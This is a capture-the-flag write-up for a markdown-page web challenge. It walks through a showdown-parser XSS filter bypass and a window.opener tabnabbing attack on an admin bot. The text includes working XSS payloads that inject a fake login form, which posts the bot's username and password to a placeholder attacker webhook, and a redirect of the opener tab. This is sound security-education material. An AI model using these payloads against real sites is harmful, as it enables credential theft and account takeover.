Rating:

Challenge: [http://143.110.151.14:42069/](http://143.110.151.14:42069/) \
We also have the source code: [https://ctf.n00bzunit3d.xyz/attachments/mark_that_down/challenge.zip](http://143.110.151.14:42069/)

-----
## Analysis

Taking a look at the website, we can see that we can create new Markdown pages and get a link, and we can also report them to the admin. The website says to avoid Javascript and HTML, and that reporting to the admin will make the bot "determine if it's breaking our no-javascript rule". The "Report to an admin" feature is common in many web CTFs, it's generally powered by an headless browser logged in as admin which will visit your URL, to simulate an actual admin opening your URL. The goal is to steal a piece of information that the admin has through client side web vulnerabilities such as XSS: login credentials, cookies, other content accessible through the admin session.

Now let's take a look at the source code, we can see that it is composed by 2 parts: the bot and the app itself. The app itself is very simple: we can open an existing page by the link, we can create a new page, and we can report pages to the admin. There also is an admin panel which will return a page with the flag if the credentials are right.

## Main vulnerability

Looking at the bot source code we can see that it loads a tab with the admin login page, starts the URL to visit in another tab, does the checks if there's script tags in the page, exits from the tab with the URL to visit and logs in with the admin credentials on the other tab. \
This is very suspicious, and it gets even more suspicious checking the code responsible for opening the other tab with the user-provided URL:

```
await page.evaluate((url) => {
    window.open(url, '_blank');
}, url);
```

This immediately remembered me of the tabnabbing phishing attack. When there is a link that opens in a new tab, thanks to `window.opener`, from the opened page we can take control of the opener page's URL and switch it to a page with a form where the bot will submit it's credentials to our server. Browser vendors patched this issue putting the rel=noopener attribute by default, but only on \ tags, not on tabs opened through JS. Unfortunately the bot has a "protection" for this and we can't just put another URL entirely, it has to be on the challenge's hostname. We need to find an XSS on the markdown webpage creator.

## Helper vulnerability
Let's try a simple XSS payload in the webpage creator: `<script>alert(1)</script>`. We get an error, illegal words or characters found. No easy XSS for us. Let's take a look at the page creation step: it calls the check function of an imported module called "markdown", and if that fails, it prohibits the upload because of "Illegal words/characters", else it will save the page.\
Let's see which characters are actually blacklisted:
```
    check:function check(markdown){
        var b_blacklist = ['<', '>', ';'];
        for (i=0; i<b_blacklist.length; i++){
            if (markdown.toLowerCase().indexOf(b_blacklist[i]) >= 0){
                return false;
            }
        }
...
```
Well, it seems that we can't use the characters `<`,`>` and `;`. This means that it will be a bit harder to exploit than a classical XSS. But remember that we have full markdown support? And the `<>;` checks are done BEFORE the markdown is parsed. Taking a look online for issues with the `showdown` markdown parser, we can find that `showdown` doesn't filter user input, and that the filtering should be done by the developer using the library. Playing around a bit with the makeHtml function of this library, we can notice that `![](a"onerror="alert\(1\))` would cause an XSS while not containing either `>`,`<` or `;`. Bingo! Since it is a pain to prefix with a backslash `(){}.`, we can write a little script to help with the XSS payload generation.

```
var showdown = require('showdown');
var converter = new showdown.Converter();

script="alert(1)";
let repl = script
.replaceAll("(", "\\(")
.replaceAll(")", "\\)")
.replaceAll("{", "\\{")
.replaceAll(".", "\\.")
.replaceAll("}", "\\}")
;

console.log(`![a](about:a"onerror="${repl} )`)
console.log(converter.makeHtml(`![a](about:a"onerror="${repl} )`)) 
```

(I've used `about:a` instead of `a` to avoid an useless trip to the server hosting the page.)

## Final payload creation

At this point we know what vulnerabilities we need to exploit and we just need to create the final payload. Keep in mind that `;` is filtered, and we can't use `"` or spaces because of the XSS exploit.

First of all we need to create the form through JavaScript:

```
let f = document.createElement('form');
f.setAttribute('method','post');
f.setAttribute('action','OUR_URL');

let i = document.createElement('input');
i.setAttribute('type','text');
i.setAttribute('name','username');

let k = document.createElement('input');
k.setAttribute('type','text');
k.setAttribute('name','password');

let s = document.createElement('button');
s.setAttribute('type','submit');
s.setAttribute('value','Submit');

f.appendChild(i);
f.appendChild(s);
f.appendChild(k);
document.body.appendchild(f);
```

Now we need to fix the JavaScript in a way that it doesn't contain spaces or `;`.

`let var` requires the space between the word let and the variable name, but we can use `window.var` global variable.

We need a way to include multiple statements, we can just use arrays:

```
[statement1,statement2,statement3]
```

Final script:

```
[window.f=document.createElement('form'),window.f.setAttribute('method','post'),window.f.setAttribute('action','YOURWEBHOOK'),window.i=document.createElement('input'),window.i.setAttribute('type','text'),window.i.setAttribute('name','username'),window.k=document.createElement('input'),window.k.setAttribute('type','text'),window.k.setAttribute('name','password'),window.s=document.createElement('button'),window.s.setAttribute('type','submit'),window.s.setAttribute('value','Submit'),window.f.appendChild(i),window.f.appendChild(s),window.f.appendChild(k),document.body.appendChild(f)]
```

We can feed the payload generation tool this, and create a webpage with the final exploit. Save the URL because we need to create the page that will replace the opener page to do the phishing attack against the bot.

Code of the page to replace the opener:

`window.opener.location.href='FORMURL'`

We pass it to the script, make a page and send it to the admin. We should see a POST request with the admin credentials.

We can go to `/admin`, login with the admin credentials and get the flag printed.

## Final payloads

Page 1:
```
![a](about:a"onerror="[window\.f=document\.createElement\('form'\),window\.f\.setAttribute\('method','post'\),window\.f\.setAttribute\('action','YOURWEBHOOK'\),window\.i=document\.createElement\('input'\),window\.i\.setAttribute\('type','text'\),window\.i\.setAttribute\('name','username'\),window\.k=document\.createElement\('input'\),window\.k\.setAttribute\('type','text'\),window\.k\.setAttribute\('name','password'\),window\.s=document\.createElement\('button'\),window\.s\.setAttribute\('type','submit'\),window\.s\.setAttribute\('value','Submit'\),window\.f\.appendChild\(i\),window\.f\.appendChild\(s\),window\.f\.appendChild\(k\),document\.body\.appendChild\(f\)] )
```
Page 2:
```
![a](about:a"onerror=window\.opener\.location\.href\="http://143.110.151.14:42069/PAGE1\.html)
```